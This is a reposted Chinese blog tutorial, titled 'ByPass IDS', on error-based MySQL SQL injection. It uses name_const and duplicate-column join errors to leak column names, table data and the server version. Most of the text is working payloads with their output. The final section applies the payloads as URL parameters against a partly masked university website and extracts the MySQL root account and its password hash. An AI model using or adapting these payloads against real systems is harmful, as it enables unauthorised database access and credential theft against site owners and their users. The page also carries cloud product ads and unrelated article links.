ByPass IDS

本文涉及的产品
云数据库 RDS MySQL Serverless,0.5-2RCU 50GB
简介:

1.本地构造测试表

mysql> create table users(id int,name varchar(20),passwd varchar(32));
Query OK, 0 rows affected (0.04 sec)

mysql> insert into users value(1,’mickey’,'827ccb0eea8a706c4c34a16891f84e7b’);
Query OK, 1 row affected (0.00 sec)

mysql> create table news(is_admin int(1),id int(2),title varchar(100),date date);
Query OK, 0 rows affected (0.00 sec)

mysql> insert into news values(1,1,’hello,mickey’,now());
Query OK, 1 row affected, 1 warning (0.00 sec)

2.暴列名

mysql> select * from (select * from users as a join news as b) as c;
ERROR 1060 (42S21): Duplicate column name ‘id’

mysql> select * from (select * from users a join users b using(id)) c;
ERROR 1060 (42S21): Duplicate column name ‘name’
mysql> select * from (select * from users a join users b using(id,name)) c;
ERROR 1060 (42S21): Duplicate column name ‘passwd’
mysql> select * from (select * from users a join users b using(id,name,passwd)) c;
+——+——–+———————————-+
| id   | name   | passwd                           |
+——+——–+———————————-+
|    1 | mickey | 827ccb0eea8a706c4c34a16891f84e7b |
+——+——–+———————————-+
1 row in set (0.00 sec)

mysql> select * from (select * from news a join news b using(id)) as c;
ERROR 1060 (42S21): Duplicate column name ‘is_admin’
mysql> select * from (select * from news a join news b using(id,is_admin)) as c;
ERROR 1060 (42S21): Duplicate column name ‘title’
mysql> select * from (select * from news a join news b using(id,is_admin,title)) as c;
ERROR 1060 (42S21): Duplicate column name ‘date’
mysql> select * from (select * from news a join news b using(id,is_admin,title,date)) as c;
+———-+——+————–+————+
| is_admin | id   | title        | date       |
+———-+——+————–+————+
|        1 |    1 | hello,xxx | 2010-05-08 |
+———-+——+————–+————+
1 row in set (0.00 sec)

3.暴字段值

研究出来的暴制语句
select * from cms_votes where vid=1 and exists
(select * from (select * from (select name_const((select group_concat(concat(uid,0x7c,pwd)) from admin)
,'fuck')) a join (select name_const((select group_concat(concat(uid,0x7c,pwd)) from admin),'fuck')) b)c);

运用:
mysql> select * from cms_votes where vid=1 and exists
(select * from (select * from (select name_const(
(select group_concat(concat(uid,0x7c,pwd)) from admin),'fuck')) a
join (select name_const((select group_concat(concat(uid,0x7c,pwd)) fromadmin),
'fuck')) b)c);
ERROR 1060 (42S21): Duplicate column name 'ylbhz|fuck,mickey|fucked'
mysql>

mysql> select * from cms_votes where vid=1 and exists
(select * from (select * from (select name_const(@@version,0))
a join (select name_const(@@version,0)) b)c);
ERROR 1060 (42S21): Duplicate column name '5.0.45-community-nt'

4.实际入侵案例

http://xxxxxx.edu.cn/qcwh/content/detail.php?id=330&sid=19
&cid=261+and+exists(select*from+(select*from(select+name_const(@@version,0))a+
join+(select+name_const(@@version,0))b)c)

Error:Duplicate column name ‘5.0.27-community-nt’Error:Duplicate column name ‘5.0.27-community-nt’

http://xxxxxx.edu.cn/qcwh/content/detail.php?id=330&
sid=19&cid=261+and+exists(select*from+(select*from(
select+name_const((select+concat(user,password)+from+mysql.user+limit+0,1),0))a+join+
(select+name_const((select+concat(user,password)+from+mysql.user+limit+0,1),0))b)c)
Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
Thx mickey:D

From pentest.cc.











本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/479687,如需转载请自行联系原作者

相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
3月前
|
Python
完美解决丨ValueError: time data ‘2018/12/24‘ does not match format ‘%Y/%m/%d‘
完美解决丨ValueError: time data ‘2018/12/24‘ does not match format ‘%Y/%m/%d‘
|
4月前
|
资源调度 Shell 开发工具
The token '&&' is not a valid statement separator in this version
The token '&&' is not a valid statement separator in this version
|
9月前
|
SQL
Parameter ‘id‘ not found. Available parameters are [collection, list]
Parameter ‘id‘ not found. Available parameters are [collection, list]
125 0
|
存储 索引
成功解决ValueError: If using all scalar values, you must pass an index
成功解决ValueError: If using all scalar values, you must pass an index
成功解决ValueError: Number of passed names did not match number of header fields in the file
成功解决ValueError: Number of passed names did not match number of header fields in the file
|
自然语言处理 算法 数据挖掘
浅谈Single-Pass算法
Single-Pass算法又称单通道法或单遍法,是流式数据聚类的经典方法。对于依次到达的数据流,该方法按输入顺序每次处理一个数据,依据当前数据与已有类的匹配度大小,将该数据判为已有类或者创建一个新的数据类,实现流式数据的增量和动态聚类,适合对流数据进行挖掘,而且算法的时间效率高;不足之处主要表现在该方法具有输入次序依赖特性,即对于同一聚类对象按不同的次序输入,会出现不同的聚类结果。
179 0
|
Oracle 关系型数据库